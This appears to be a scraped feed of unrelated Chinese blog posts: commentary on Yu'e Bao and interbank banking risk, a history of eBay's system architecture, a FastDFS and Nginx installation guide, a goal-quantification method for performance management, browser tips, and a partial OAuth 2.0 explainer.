中国金融既需要本质创新,也需要技术手段创新,因为不是本质创新而否认技术手段创新的重要性,这样的线性思维要不得,相当于否认活字印刷术的重要性。

 

余额宝等货币基金之所以能够大行其道,并不是因为解决了实体经济的融资难题,而是舔了一口银行的血,让余额宝的购买者可以趁着银行资金紧张之时大赚一笔。

 

银行以及银行相关人士当然不爽,但生意之道就是交易互赢,一方有需要一方提供需要获利,谈不上道德不道德的问题。

 

银行资金紧张不是余额宝造成的,而是货币紧缩、规模扩张与企业较高的较坏的贷款质量造成的。央行实行稳健的货币政策,对健康的经济体不会有什么影响,但对产能过剩、资金紧张、负债率高企的经济体,影响非常大,相当于给糖尿病人断了胰岛素,给重症病人拔掉了输血管。以往经济上升周期对付失信市场行之有效的手段,抵押贷款、担保贷款,一夜之间显得不那么保险,互联互保成为火烧连营的互相伤害。在没有找到新的行之有效的风险控制手段之前,银行要生存,或者央行继续放水,或者通过各种渠道补充资本金,而后通过非标产品暗地里扩大规模。

 

余额宝大肆扩张之前,银行资金就不紧张了吗?别忘记去年6月开始银行的三次惊魂,同业拆借利率收盘居然高达13%左右,再上去一点就可经媲美高利贷了。

 

别说外来的余额宝,银行各种擦边球屡见不鲜。4月29日,央行发布《中国金融稳定报告(2014)》显示,2009年初至2013年末,银行业金融机构同业资产从6.21万亿元增加到21.47万亿元,增长 246%,是同期总资产和贷款增幅的1.79倍和1.73倍;同业负债从5.32万亿元增加到17.87万亿元,增长236%,是同期总负债和存款增幅的1.74倍和1.87倍。远高于同期银行业金融机构贷款、存款增长水平,存在一定风险隐患。

 

根据报告,两家银行尤为典型,上海银行2013年买入返售金融资产规模为331.14亿元,较2012年的83.23亿元增长297.86%;天津银行2013年买入返售金融资产718.93亿元,较2012年的95.82亿元增长650.29%。英国《金融时报》发现,中国10家未上市银行去年信托计划投资以及其他非标准信贷产品的持有量与其总资产的比例由2012年的14.3%攀升至23.3%。请问,这样的同业拆借做大贷款规模,难道不该缴纳存款准备金吗?风险来自内部,余额宝不过是大门口莽撞的陌生人。

 

无怪乎中国社科院金融研究所5月9日发布《金融监管蓝皮书:中国金融监管报告(2014)》提出,银行体系的同业业务是影子银行体系风险的关键环节,应是未来金融监管的重中之重。而刘士余先生在论坛上也坦承,金融市场主体行为的扭曲,表现在银行同业业务和理财业务等与实体经济发展严重不匹配。

 

互联网金融与民间资金要在金融业本质创新,前提是,央行与银监会在民营银行、监管手段上创新,再创新。

 

注:休整的一天,看两集csi

听音乐,看资料,写文章

还做了两个菜,加上辣椒,一片火红

红酒奶油炖牛肉

嗯——-好吃

 

    社会局部的动荡可能成为“新常态”

高铁投资等继续扩大规模

未来靠城镇化与改革,缺一不可

新国九条出台,一片叫牛之声

是政策长期利好

但市场有规律,信心长期积累

市场不是布偶

似乎不喊牛就不爱国,不爱市场

这是两码事好吗?

市场需要的是理智、冷静与客观详实的分析

 

对有勇气、有智慧的人

我尊重他们,并持续关注,以表达自己的心声

面对纷繁的世界,坚持自己,不为恶,尽力为善

 

2014/5/13 叶檀市场:

新闻1:据Bloomberg news,央行和银监会正起草文件,金融机构在经营失败的情况下将被允许破产,建立存款保险制度保证存款安全,以及发生危机期间金融机构债务的有序偿付。

点评:存款保险如果年内出台,民营银行与地方中小银行遍地开花,利率市场化疾速推进。中小银行的风险将上升,银行大小之分将更加明显。

 

新闻2:5月12日,伦镍期货再度大涨逾2.5%,伦镍3个月期货触及2012年2月8日的两年多高点22150美元,并带动国内A股相关镍个股强势封停,有色板块因此受益。伦铜、沪铜震荡上升,库存下降。

点评:新一轮炒作潮来临,原因是印尼禁止出口,俄罗斯局势,中国库存消耗。真实原因更可能是中国基建力度加大,中日对镍等资源的哄抢。炒吧炒吧不是罪。

 

新闻3:讨论2008年金融危机的各种书籍已是汗牛充栋,如今美国前财长盖特纳也加入此一行列,其最近出版的回忆录“压力测试”难免主打08年一系列事件的亲身经历。

点评:亲身经历,主张拯救雷曼,一些秘辛,可以一看,但也就如此。《纽约时报》书评,“压力测试”试图解释当时是如何达成一系列的决定。该书并无太多内幕反映,也不太可能改变人们对这场危机及善后措施的看法。《金融时报》则表示,盖特纳写此书的主旨是表达如何以极大的智慧支持整个金融体系,而不是惩罚银行家。这与目前主流对银行贪婪的反思背道而驰。

eaby技术架构变迁

$
0
0


如果你对项目管理、系统架构有兴趣,请加微信订阅号“softjg”,加入这个PM、架构师的大家庭

 

最近在infoq上面看到 ebay介绍其系统架构变迁以及系统设计分享方面的讲座,其中陈述了ebay从1995年到2006年之间系统架构的变化过程。从这里,我们可以学习到许多宝贵的经验来设计一个大容量,高并发,分布式的系统。

ebay的系统架构的变迁主要经历了4个阶段,下面一幅图展现了ebay系统架构变迁的时间表

在ebay的V1版本,ebay采用的是FREEBSD + APACHE + PERL +DGBM,这是一个比较原始的模型,而且相对比较简单,操作系统,应用服务器,web服务器 以及 数据库服务器都是在同一台机器中,网络结构在物理上只有一层。整个网站有四个域名,每个域名对应不同的应用,每组应用对应一台服务器。

图表 1 ebayV1系统架构

随着业务量以及访问量的不断上升,ebay在1999年开始对架构进行升级,技术架构发生了较大的变化,这期间主要是从1999-2004年,而架构的版本号则从V2.0到V2.5 ,下面我们来看看Ebay V2.0技术架构

  • V2.0

² 开始采用ORACLE服务器,数据库服务器和web服务器分开,数据库独立部署到一台新的机器上面

² 程序逻辑上面已经开始分层,也就是我们常说的mvc3层结构:显示层、业务逻辑层、数据访问层,而在物理上面还是两层结构 web服务器 以及 数据库服务器

² 编程语言采用C++,那个时候java刚兴起,估计也没有其他好的语言选择了。

  • V2.1

² 每组应用对应多台服务器,而多台服务器组成一个 servler pool(服务池),通过一个负载均衡服务器来分别转发请求到不同的服务器

² 数据库部署到性能更加好的服务器上面

  • V2.2

² 增加了一台数据库服务器作为 备份服务器,防止失败

  • V2.3

这个版本只是对每个应用增加了更多的服务器,不断的进行server pool

  • V2.4

这个版本最大且最重要的改变就是对数据库进行垂直拆分,即把数据库按照不同的功能模块进行划分,例如交易库,会员库,帐务库

  • V2.5

这个版本在2.4的版本上面,对部分数据库进行读写分离,同时对Item(物品条目)数据库进行水平拆分,把Items按照不同的Categoty分配到不同的Categoty商品库里面,,这样大大的扩展了对Items数据库的访问性能。

图表 2 ebayV2系统架构

从上可以看出ebay V2的架构变迁,主要是通过服务器的添加,数据库的垂直拆分以及水平拆分,数据库的读写分离操作 来提高整个网站的性能。在web层,通过添加服务器来进行水平扩展,同时对应用服务功能进行垂直拆分,按照不同的业务功能划分到不同的系统。在数据库层面,进行了读写分离尝试,对数据库进行垂直拆分,同时把Items库按照Category进行水平拆分,这样做,分散了对产品库items的集中访问,不过需要在DAL层提供透明的访问机制,ebays这里貌似还并没有这个成熟的框架,同时不知道 分布式事务ebay在这个阶段是如何实现的。

  • V3

整个应用程序开发平台全部替换为j2ee平台,用java改写了整个网站。看来是一次比较大的工作。目的是为模块解耦 以及模块复用,从这里,我们可以看出java在开发复杂企业应用的优势。

V3版本在数据库层面上面做了更加优化的设计,ebay继续在数据库上面进行优化

垂直拆分数据库,按照 功能模块 拆分为更多的子库

水平拆分数据库,对同一类数据,按照key值的不同数据分配到不同的数据库中(具体水平分库的方式有多种,这里就不再介绍了。)在进行水平拆分数据库的时候,ebay也必须建立一套透明的DAL访问方式,必须提供透明的数据库访问机制以及透明的数据库路由功能,数据库的物理结构变更不会影响到代码的逻辑变动。

在这里,ebay也在数据库层给出了最佳实践:

² 尽量减少数据库CPU的消耗,例如不使用存储过程,只使用少量的触发器

² 减少数据库层面的逻辑功能,例如数据转化,组合,这些都放在逻辑层

² 减少动态SQL,主要是SQL中参数的动态生成功能,这一点,公司的DBA也在强调

² 尽可能的缩短数据库的事务时间,尽可能早的结束事物

² 尽可能的采用异步更新数据库方式,分散数据库的压力,例如消耗数据库时间的操作要放在夜间处理。

² 不使用分布式事务,看来分布式事务的确不使用高并发性的系统

在应用逻辑层面,ebay把系统按照功能划分成许多不同的模块,每个模块作为一个子系统,同时通过水平扩展子系统服务器数量来提高整个系统的伸缩性。

下面看看ebay在应用层面给出的最佳实践

² 保持应用层子系统完全是无状态的,可以水平进行无限扩展以提高伸缩性,通过负载均衡服务器均等分配到各个子系统的实例池里面。

² 尽可能的使用缓存,缓存能够减少数据库的压力,使用空间来换时间

² 严格划分系统的各个层面,表现层,业务逻辑层,服务集成层,DAO层,基础设施层。

在应用层的设计上面,ebay通过不同的功能划分了很多domain,每个domain只负责自己的功能的业务逻辑,domain与domain之间是不会依赖的,同时还会提供common domain 提供各个 domain之间的交互以及依赖,见下图:

由于ebay的数据库按照逻辑划分了很多不同的字库,那么ebay必须提供透明的访问数据库的能力,举个例子:ebay把Items按照categoray分成了很多sub items库,假如需要查询出来某一个用户所购买的所有Items,那么必须要查询所有的sub items库,把数据库组合出来,那么DAL层必须屏蔽数据库的物理结构,一次性的把所有的sub items库中对应的数据查询出来。而这个访问,对应用来说是透明的。应用不需要关注到底items有多少个子库。

总结:在大规模,高并发系统的设计中,最常用的技术就是分层和缓存,把一个业务流程垂直分解成几个系统,每个系统提供不同类型的服务,一个业务流程通过不同的服务组装起来,这就是SOA设计的思路吧。每个系统可以进行水平集群,提供无状态的服务,可以水平无线扩展,数据库层面,主要就是用到垂直分库,水平分库,读写分离,热备份等技术,提高数据库的读写能力。在应用层可以考虑使用集中式缓存或者分布式缓存来减少数据库的访问压力。

如果你对项目管理、系统架构有兴趣,请加微信订阅号“softjg”,加入这个PM、架构师的大家庭

作者:wyxhd2008 发表于2014-5-12 23:44:01 原文链接
阅读:110 评论:0 查看评论

FastDFS+Nginx轻量级分布式文件系统安装使用

$
0
0

 

FastDFS的安装使用

 

一 简介

FastDFS是一个开源的轻量级 分布式文件系统,它对文件进行管理,功能包括:文件存储、文件同步、文件访问(文件上传、文件下载)等,解决了大容量存储和负载均衡的问题。特别适合以文件为载体的在线服务,如相册网站、视频网站等等。

FastDFS服务端有两个角色:跟踪器(tracker)和存储 节点(storage)。跟踪器主要做调度工作,在访问上起负载均衡的作用。

二 安装

1, 本次安装采用三台centos5.10 linux操作系统

192.168.80.100  tracker Nginx(注意这台不安装fastsfd-niginx插件)

192.168.80.101  storage nginx

192.168.80.102  storage nginx

操作系统的安装这里不多说。

2, 准备编译环境 yum -y install gcc gcc+ gcc-c++ openssl openssl-devel pcre pcre-devel 三台机器都进行安装,并且创建两个新用户fastdfs 和nginx  

useradd fastdfs -M -s /sbin/nologin  useradd nginx -M -s /sbin/nologin

为了方便测试 请关闭防火墙 service iptables stop

3, 下载源码

敲 cd /usr/local/src/ 进入该目录下,运行如下命令,下载fastDFS 5.01 

wget  http://jaist.dl.sourceforge.net/project/fastdfs/FastDFS%20Server%20Source%20Code/FastDFS%20Server%20with%20PHP%20Extension%20Source%20Code%20V5.01/FastDFS_v5.01.tar.

下载 nginx 1.7.0

wget  http://nginx.org/download/nginx-1.7.0.tar.gz

下载fastdfs-nginx-module_v1.16

wget http://jaist.dl.sourceforge.net/project/fastdfs/FastDFS%20Nginx%20Module%20Source%20Code/fastdfs-nginx-module_v1.16.tar.gz

 

4, 安装FastDFS (三台机器都要安装)

tar xf FastDFS_v5.01.tar.gz

cd FastDFS

./make.sh && ./make.sh install 

5, 解压fastDFS-nginx-module

[root@localhost ~]# cd /usr/local/src/

[root@localhost src]# tar xf fastdfs-nginx-module_v1.16.tar.gz

6, 安装Nginx

192.168.80.100 tarcker 机器的安装

[root@localhost ~]# cd /usr/local/src/

[root@localhost src]# tar xf nginx-1.7.0.tar.gz

[root@localhost src]# cd nginx-1.7.0

[root@localhost nginx-1.7.0]# ./configure --user=nginx --group=nginx --prefix=/usr/local/nginx

[root@localhost nginx-1.7.0]# make

[root@localhost nginx-1.7.0]# make install

192.168.80.101,102 stroage nginx的安装

[root@localhost ~]# cd /usr/local/src/

[root@localhost src]# tar xf nginx-1.7.0.tar.gz

[root@localhost src]# cd nginx-1.7.0

[root@localhost nginx-1.7.0]# ./configure --user=nginx --group=nginx --prefix=/usr/local/nginx

--add-module=../fastdfs-nginx-module/src  //storage 安装nginx时需要加载该模块

[root@localhost nginx-1.7.0]# make

[root@localhost nginx-1.7.0]# make install

 

三 配置

192.168.80.100 tracker的配置

1,创建tracker数据以及日志存放目录

[root@localhost ~]# mkdir -p /data/fastdfs/tracker

2,修改FastDFS的tracker.conf配置 文件

[root@localhost ~]# vim /etc/fdfs/tracker.conf 

base_path=/data/fastdfs/tracker

max_connections=1024

work_threads=8

store_lookup=0

store_path=0

reserved_storage_space=4G //

run_by_group=fastdfs

run_by_user=fastdfs

rotate_error_log=true

配置的解析请参照我的以一篇文章 tracker配置文件解析

3,修改Nginx的配置文件

[root@localhost ~]# vim /usr/local/nginx/conf/nginx.conf

user nginx nginx; //此处为已经建立好的用户 和分组

worker_processes 3;

pid /usr/local/nginx/logs/nginx.pid;

worker_rlimit_nofile 1024;

events {

use epoll; // epoll是Linux内核为处理大批量文件描述符而作了改进的poll

worker_connections 1024;

}

http {

include mime.types;

default_type application/octet-stream;

log_format main '$remote_addr - $remote_user [$time_local] "$request" '

'$status $body_bytes_sent "$http_referer" '

'"$http_user_agent" "$http_x_forwarded_for"';

access_log /usr/local/nginx/logs/access.log main;

upstream server_g1{

server 192.168.80.101:80; //这里配置的是storage的IP 可以配多台

server 192.168.80.102:80;

}

server {

listen 80;

server_name localhost;

location /g1 {

proxy_redirect off;

proxy_set_header Host $host;

proxy_set_header X-Real-IP $remote_addr;

proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;

proxy_pass http://server_g1;

}

  }

}

4,将tracker交给service管理并且设置开机启动

[root@localhost ~]# cp /usr/local/src/FastDFS/init.d/fdfs_trackerd /etc/init.d/

[root@localhost ~]# chkconfig --add fdfs_trackerd

[root@localhost ~]# chkconfig fdfs_trackerd on

 

配置storage (分别在192.168.80.101,102上进行配置)

1, 创建数据存放目录

[root@localhost ~]# mkdir -p /data/fastdfs/storage/data

 

2,修改FastDFS的storage.conf配置文件

[root@localhost ~]# vim /etc/fdfs/storage.conf

group_name=g1

base_path=/data/fastdfs

##工作线程数,通常设置为 CPU 数

work_threads=8

store_path_count=1

store_path0=/data/fastdfs/storage

##tracker_server 的地址

tracker_server=192.168.80.100:22122

##运行 FastDFS 的用户组

run_by_group=fastdfs

##运行 FastDFS 的用户

run_by_user=fastdfs

file_distribute_path_mode=1

rotate_error_log=true

 

3,把nginx模块的配置文件拷贝到 /etc/fdfs中,进行修改

[root@localhost ~]# cp /usr/local/src/fastdfs-nginx-module/src/mod_fastdfs.conf /etc/fdfs/

[root@localhost ~]# vim /etc/fdfs/mod_fastdfs.conf

connect_timeout=30

tracker_server=192.168.80.100:22122

group_name=g1

url_have_group_name = true

store_path_count=1

store_path0=/data/fastdfs/storage

 

4,修改nginx配置文件

[root@localhost ~]# vim /usr/local/nginx/conf/nginx.conf

user nginx nginx;

worker_processes 8;

pid /usr/local/nginx/logs/nginx.pid;

worker_rlimit_nofile 1024;

events {

use epoll;

worker_connections 1024;

}

http {

include mime.types;

default_type application/octet-stream;

log_format main '$remote_addr - $remote_user [$time_local] "$request" '

'$status $body_bytes_sent "$http_referer" '

'"$http_user_agent" "$http_x_forwarded_for"';

access_log /usr/local/nginx/logs/access.log main;

server {

listen 80;

server_name localhost;

location /g1/M00{

root /data/fastdfs/storage/data;

ngx_fastdfs_module;

}

  }

}

 

5,把storage 交[root@localhost ~]# cp /usr/local/src/FastDFS/init.d/fdfs_storaged /etc/init.d/

[root@localhost ~]# chkconfig --add fdfs_storaged

[root@localhost ~]# chkconfig fdfs_storaged on

[root@localhost ~]# service fdfs_storaged start给service管理并设置开机启动

//创建软连接

[root@localhost ~]# ln -s /data/fastdfs/storage/data /data/fastdfs/storage/data/M00

 

四 测试

1,在192.168.80.100 上启动tracker,nginx

[root@localhost ~]# service fdfs_trackerd start

[root@localhost ~]# /usr/local/nginx/sbin/nginx

2,在192.168.80.101,102上面分别启动storage和nginx

[root@localhost ~]# service fdfs_storaged start

[root@localhost ~]# /usr/local/nginx/sbin/nginx

3配置一个client 在tracker上进行

[root@localhost ~]# vim /etc/fdfs/client.conf

base_path=/data/fastdfs

tracker_server=192.168.10.11:22122

4,查看集群详细

[root@localhost ~]# fdfs_monitor /etc/fdfs/client.conf

 

5,测上传

root@localhost ~]# fdfs_upload_file /etc/fdfs/client.conf aa.jpg

 

g1/M00/AC/2F/wKgKDVMppoGAMCFNAAIFvJcyojY165.jpg

 

通过浏览器

http://192.168.80.101/g1/M00/AC/2F/wKgKDVMppoGAMCFNAAIFvJcyojY165.jpg

http://192.168.80.102/g1/M00/AC/2F/wKgKDVMppoGAMCFNAAIFvJcyojY165.jpg

 

到此安装结束

 



已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐




绩效考核量化管理的4321法则

$
0
0

绩效管理是人力资源工作的重心,而目标又是绩效管理的重中之重,但职能部门的目标量化又是绩效管理中的难点和盲点。如何设计可以量化、可以衡量的职能部门目标,一直是许多人力资源管理者孜孜不倦的追求。在这里,通过分解职能部门目标的4321法则,将会使许多职能部门的目标量化变得比较容易。

4:4个标尺:数量、质量、成本、时间

设计目标、评价目标必须有标准,有衡量尺度,衡量标准主要有四种类型:数量、质量、成本和时间。职能部门的目标同样也可以从这四个维度来衡量。我们可以通过深入挖掘四个维度的内涵,从而设计出多种多样的评价尺度。

数量类标准:产量、次数、频率、销售额、利润率、客户保持率等;

质量类标准:准确性、满意度、通过率、达标率、创新性、投诉率等;

成本类标准:成本节约率、投资回报率、折旧率、费用控制率等;

时间类标准:期限、天数、及时性、推出新产品周期、服务时间等。

对定量的目标,我们可以多从数量、成本等角度来衡量,如招聘人员的数量、检查次数等。对于定性的目标,从质量、时间的角度考虑就会多一些,如人员对职能部门服务的满意程度,可以通过人员投诉率、服务及时性来表示;文件起草的好坏可以运用通过率来表示,文件是一次通过还是数次被通过等等。

3个步骤:量化、细化、流程化

能量化的尽量量化;不能量化尽量细化;不能细化尽量流程化。

能量化的尽量量化:首先要检查职能部门工作,哪些工作可以量化,很多职能部门的工作目标都可以量化,这时直接量化就可以了。如培训工作,可以用培训时间、培训次数来衡量;制度工作,可以用制度制定的数量、违反次数来表示。难得是那些比较笼统,很难直观的工作,如提高质量水平、抓安全促生产等,针对这些工作,可以通过目标转化的方式来实现量化,转化的工具就是数量、质量、成本、时间等元素。通过目标的转化,许多模糊的目标就可以豁然开朗了。

不能量化的尽量细化:作为一些职能部门岗位来说,工作繁杂琐碎,无法确定其工作核心是什么,不好量化,而且量化了也不一定做到全面、客观。此类典型职位包括办公室主任、行政人员、内勤等。碰到这种情况,我们可以采取目标细化的方式:首先对该职位工作进行盘点,找出该职位所承担的关键职责,然后运用合适的指标进行量化。这样,经过细化的指标就基本上能够涵盖其主要工作。

不能细化的尽量流程化:职能部门有很多岗位,工作比较单一,往往一项工作做到底,这种工作用量化、细化好象都无法准确衡量其价值,如打字员:其工作就是天天打字,忙得不可开交,类似的工作还有会计、培训专员、监察员等。针对这种工作,可以采用流程化的方式,把其工作按照流程分类,从中寻找出可以考核的指标。如打字员工作流程:接稿——打字——排版——交稿,针对每个流程,我们都可以从多个维度来衡量,对评价标准我们还可以列出相应等级。如果考核的话,就由其主管按照这些标准征询其服务客户意见进行打分评估。

2个答案:结果和行动

结果:实现这样的目标,最终期望的结果会是什么?

行动:完成这样的结果,需要采取哪些行动才能行?

企业职能部门人员,往往承担了很多比较含混的、又往往是老总们希望大力加强的目标,如以人为本、创新求实、加大管理力度等等,这些目标由于没有清晰的表述,往往会使人员一头雾水,不知从何下手。对这样的指标,直接量化也存在一定难度,如果采取以上两个答案来分析,结果就比较清晰了。当然,针对具体情况,可以采取只分析结果,或者只分析行动的方式,寻求答案,或者两者一起分析,这主要是看企业的导向,是重行为还是重结果,还是两者并重。

例:“加大管理力度”,我们可以采取分析行动的方式来解决。“加大管理力度”,人员需要做什么?通常来说采取的行动有很多,如可以加强沟通,确定主管与下属的沟通面谈次数;可以加强培训,确定企业管理培训的次数、质量;可以加强交流,企业要有定期的沟通交流会;可以实现企业的管理升级,引进新的人力资源管理考核激励体系等。这样,“加大管理力度”就可以拆分出很多的考核指标,企业可以按照轻重缓急进行安排。当然,这些指标并不仅仅是职能部门自己的,有很多指标也是直线主管必须负责的。

提高“人员对企业文化认同度”,是很多企业人力资源部或者是办公室的一个重要指标,这项指标无法直接考评,我们就可以两管齐下的方式来确定。 首先要看结果:“员工对企业文化认同度”此项考评指标最终引发的结果是什么。我们分析,如果员工对企业文化非常认同,则员工就不会轻易跳槽,会长期留在该企业并积极主动工作,而且工作效率也很高,因此“员工流失率”、“人均劳效”等指标就可以很好的体现“员工对企业文化认同度”,而这样的指标就可以比较容易的来衡量考评了。当然,让这两个指标真正能够衡量,还需要在确定公司总体数值后,再细分到各个部门。人力资源部和直线主管各承担一部分。

其次是看行动:要分析为了达到“人员对企业文化的认同度”,我们应做哪些工作、哪些行动步骤才可以。通过分析,我们可以采取培训人员方式,也可以采取发行企业内刊、宣传企业文化等方式,实现人员对企业文化的认同。因此,“企业文化培训时间、企业内刊质量、企业内刊发行及时性”等指标,就能很好的实现我们的目的,而且这样的指标也比较容易衡量了。

1个原则:SMART原则

SMART原则是目标设置的最根本原则,也是检查目标的原则。SMART是由五个英文字母的缩写构成,S:(Specific)明确的;M:(Measurable)、可衡量的;A:(Achievable)、可达到的;R:(Relevant)关联的;T:(TimeBound)、有时间表的。当目标设置后,就要用SMART来检查一下,看是否是真正的目标。

明确的:目标不能是抽象的、笼统模糊的,而要明确清晰,让所有的人看到此目标都会有同一认识、得出同样的结论。要达到目标明确可以用5W2H来对照检查:WHAT(做什么);WHY(为什么做);WHEN(何时完成);WHO(谁负责);WHERE(在哪里做);HOW(如何做);HOWMUCH、(做多少)。当然,检查时5W2H并不是全用上,但目标至少要符合其中的一条。

可衡量的:指标尽可能量化,对于比较难以量化的指标也要尽可能通过量化或转化,变得可以衡量,前面所讲的四个标尺、三个步骤、两个答案是实现目标转化的有效方法。目标确定后,需要检查看看,能否明显的区分出高低优劣来。

可达到的:是指目标在员工付出努力的情况下可以达到,“跳一跳够得着”,不可过高或过低。过高就会给员工造成挫折感,感觉高不可攀,过低员工就会感觉不到成就感。目标要依照人员自身能力、内外部资源、市场情况进行设计,不能盲目拍脑袋定目标。如管理薄弱企业,短时间内迅速提升人均劳效就不现实。

相互关连的:目标必须是关联的,相互之间不冲突打架的。这包括公司、部门、个人目标相关联;左右横向部门相关联。如财务部门压缩帐期,就可能影响销售部门的大客户关系。强调创新,就不能把人员失误次数作为考核指标,这会导致人员止步不前。因此,采取自上而下、由外而内、由大而小的方法设计职能部门目标。这样目标才更加符合企业总目标,也能更好的为业务部门提供服务。

有时限的:目标必须在一定期限内完成,不能遥遥无期、拖延时日,这样才能增加人员完成目标的紧迫感。如“必须在3个月内完成企业绩效考核制度”。“办公设备出现故障必须在X小时内予以排除”等。

因此,通过4321法设定职能部门目标,就可以比较容易的做到量化和可衡量,这样,困扰绩效管理的大难题就可以迎刃而解,而绩效管理就会真正成为人力资源管理的利器,极大的提升企业的竞争优势。

你可能不知道的18个上网小技巧

$
0
0

注:以下仅适用于 Chrome/Firefox 等网络浏览器

1、Ctrl+Shift+T 打开最近关闭的标签页

2、在图片上按住S时点击鼠标右键,启动Google Image搜索相关图片

3、把图片拖放到搜索框时,可以搜索相关图片(实测在打开Google Image时有效)

4、输入网址时,按Ctrl+回车键补全 .com

5、按住Ctrl键(Mac用户按Command键)点击超链接,将在新标签打开页面

6、在地址栏输入以下代码,可以把空标签页变成写字板(Chrome/Firefox有效):

data:text/html,

7、而且这个写字板还可以继续折腾,比如变成暗色调(夜晚模式)。输入以下代码(Chrome有效,Firefox无效):

data:text/html,

8、不跳转 Google.com.hk 强制打开 Google.com,只需输入:google.com/ncr

9、Ctrl+Shift+N 打开一个新浏览器窗口

10、关闭Facebook的视频自动播放:打开设置页 facebook.com/settings,点击左边栏的 video,选择 off。

18个高大上的浏览器小技巧

11、Gmail里某联系人纠缠不休,可以点击 more(更多操作)下拉的mute(忽略)将该邮件对话屏蔽

18个高大上的浏览器小技巧

12、在地址栏直接搜索某演员的贝肯数(演艺界的 六度分隔指数),输入“人名+Bacon number”即可

13、在Google搜索框里输入“google in 1998”可以打开复古版的Google主页

18个高大上的浏览器小技巧

14、在Google搜索框里输入“do a barrel roll”并搜索可以Google页面表演一个桶滚动作。同样的彩蛋有“tilt”, “recursion”和“anagram”(后面两个测试无效)

18个高大上的浏览器小技巧

15、在 Google Image里搜索“Atari Breakout”会打开一个复古打砖块游戏

18个高大上的浏览器小技巧

16、在Google搜索框里输入“zerg rush”会激活星际争霸的一个相关小游戏,用鼠标点击消灭屏幕上的“O”

18个高大上的浏览器小技巧

17、键盘商 daskeyboard.com 为了推广它的网站做了一个小彩蛋,点击它页脚里Connet的Destroy this Site后会出现一个三角形箭头,可以用方向键或WASD操控,按空格射击来“摧毁”页面元素。

18个高大上的浏览器小技巧

18、Digg.com 也有个彩蛋,在它的首页输入Konami code(上上下下左右左右BA)有奇怪的事情发生,还有会熟悉的魂斗罗音乐响起。

Wired.co.uk 和 Condé Nast UK 也支持 Konami code。

18个高大上的浏览器小技巧

[ sein via  buzzfeed.com]

稿源: 煎蛋


© 推荐 for 互联网的那点事. | 猛击下载: iPhone客户端猛击下载: Android客户端

理解OAuth 2.0

$
0
0

OAuth是一个关于授权(authorization)的开放网络标准,在全世界得到广泛应用,目前的版本是2.0版。

本文对OAuth 2.0的设计思路和运行流程,做一个简明通俗的解释,主要参考材料为 RFC 6749

OAuth Logo

一、应用场景

为了理解OAuth的适用场合,让我举一个假设的例子。

有一个"云冲印"的网站,可以将用户储存在Google的照片,冲印出来。用户为了使用该服务,必须让"云冲印"读取自己储存在Google上的照片。

云冲印

问题是只有得到用户的授权,Google才会同意"云冲印"读取这些照片。那么,"云冲印"怎样获得用户的授权呢?

传统方法是,用户将自己的Google用户名和密码,告诉"云冲印",后者就可以读取用户的照片了。这样的做法有以下几个严重的缺点。

(1)"云冲印"为了后续的服务,会保存用户的密码,这样很不安全。

(2)Google不得不部署密码登录,而我们知道,单纯的密码登录并不安全。

(3)"云冲印"拥有了获取用户储存在Google所有资料的权力,用户没法限制"云冲印"获得授权的范围和有效期。

(4)用户只有修改密码,才能收回赋予"云冲印"的权力。但是这样做,会使得其他所有获得用户授权的第三方应用程序全部失效。

(5)只要有一个第三方应用程序被破解,就会导致用户密码泄漏,以及所有被密码保护的数据泄漏。

OAuth就是为了解决上面这些问题而诞生的。

二、名词定义

在详细讲解OAuth 2.0之前,需要了解几个专用名词。它们对读懂后面的讲解,尤其是几张图,至关重要。

(1) Third-party application:第三方应用程序,本文中又称"客户端"(client),即上一节例子中的"云冲印"。

(2) HTTP service:HTTP服务提供商,本文中简称"服务提供商",即上一节例子中的Google。

(3) Resource Owner:资源所有者,本文中又称"用户"(user)。

(4) User Agent:用户代理,本文中就是指浏览器。

(5) Authorization server:认证服务器,即服务提供商专门用来处理认证的服务器。

(6) Resource server:资源服务器,即服务提供商存放用户生成的资源的服务器。它与认证服务器,可以是同一台服务器,也可以是不同的服务器。

知道了上面这些名词,就不难理解,OAuth的作用就是让"客户端"安全可控地获取"用户"的授权,与"服务商提供商"进行互动。

三、OAuth的思路

OAuth在"客户端"与"服务提供商"之间,设置了一个授权层(authorization layer)。"客户端"不能直接登录"服务提供商",只能登录授权层,以此将用户与客户端区分开来。"客户端"登录授权层所用的令牌(token),与用户的密码不同。用户可以在登录的时候,指定授权层令牌的权限范围和有效期。

"客户端"登录授权层以后,"服务提供商"根据令牌的权限范围和有效期,向"客户端"开放用户储存的资料。

四、运行流程

OAuth 2.0的运行流程如下图,摘自RFC 6749。

OAuth运行流程

(A)用户打开客户端以后,客户端要求用户给予授权。

(B)用户同意给予客户端授权。

(C)客户端使用上一步获得的授权,向认证服务器申请令牌。

(D)认证服务器对客户端进行认证以后,确认无误,同意发放令牌。

(E)客户端使用令牌,向资源服务器申请获取资源。

(F)资源服务器确认令牌无误,同意向客户端开放资源。

不难看出来,上面六个步骤之中,B是关键,即用户怎样才能给于客户端授权。有了这个授权以后,客户端就可以获取令牌,进而凭令牌获取资源。

下面一一讲解客户端获取授权的四种模式。

五、客户端的授权模式

客户端必须得到用户的授权(authorization grant),才能获得令牌(access token)。OAuth 2.0定义了四种授权方式。

  • 授权码模式(authorization code)
  • 简化模式(implicit)
  • 密码模式(resource owner password credentials)
  • 客户端模式(client credentials)

六、授权码模式

授权码模式(authorization code)是功能最完整、流程最严密的授权模式。它的特点就是通过客户端的后台服务器,与"服务提供商"的认证服务器进行互动。

授权码模式

它的步骤如下:

(A)用户访问客户端,后者将前者导向认证服务器。

(B)用户选择是否给予客户端授权。

(C)假设用户给予授权,认证服务器将用户导向客户端事先指定的"重定向URI"(redirection URI),同时附上一个授权码。

(D)客户端收到授权码,附上早先的"重定向URI",向认证服务器申请令牌。这一步是在客户端的后台的服务器上完成的,对用户不可见。

(E)认证服务器核对了授权码和重定向URI,确认无误后,向客户端发送访问令牌(access token)和更新令牌(refresh token)。

下面是上面这些步骤所需要的参数。

A步骤中,客户端申请认证的URI,包含以下参数:

  • response_type:表示授权类型,必选项,此处的值固定为"code"
  • client_id:表示客户端的ID,必选项
  • redirect_uri:表示重定向URI,可选项
  • scope:表示申请的权限范围,可选项
  • state:表示客户端的当前状态,可以指定任意值,认证服务器会原封不动地返回这个值。

下面是一个例子。


GET /authorize?response_type=code&client_id=s6BhdRkqt3&state=xyz&redirect_uri=https%3A%2F%2Fclient%2Eexample%2Ecom%2Fcb HTTP/1.1
Host: server.example.com

C步骤中,服务器回应客户端的URI,包含以下参数:

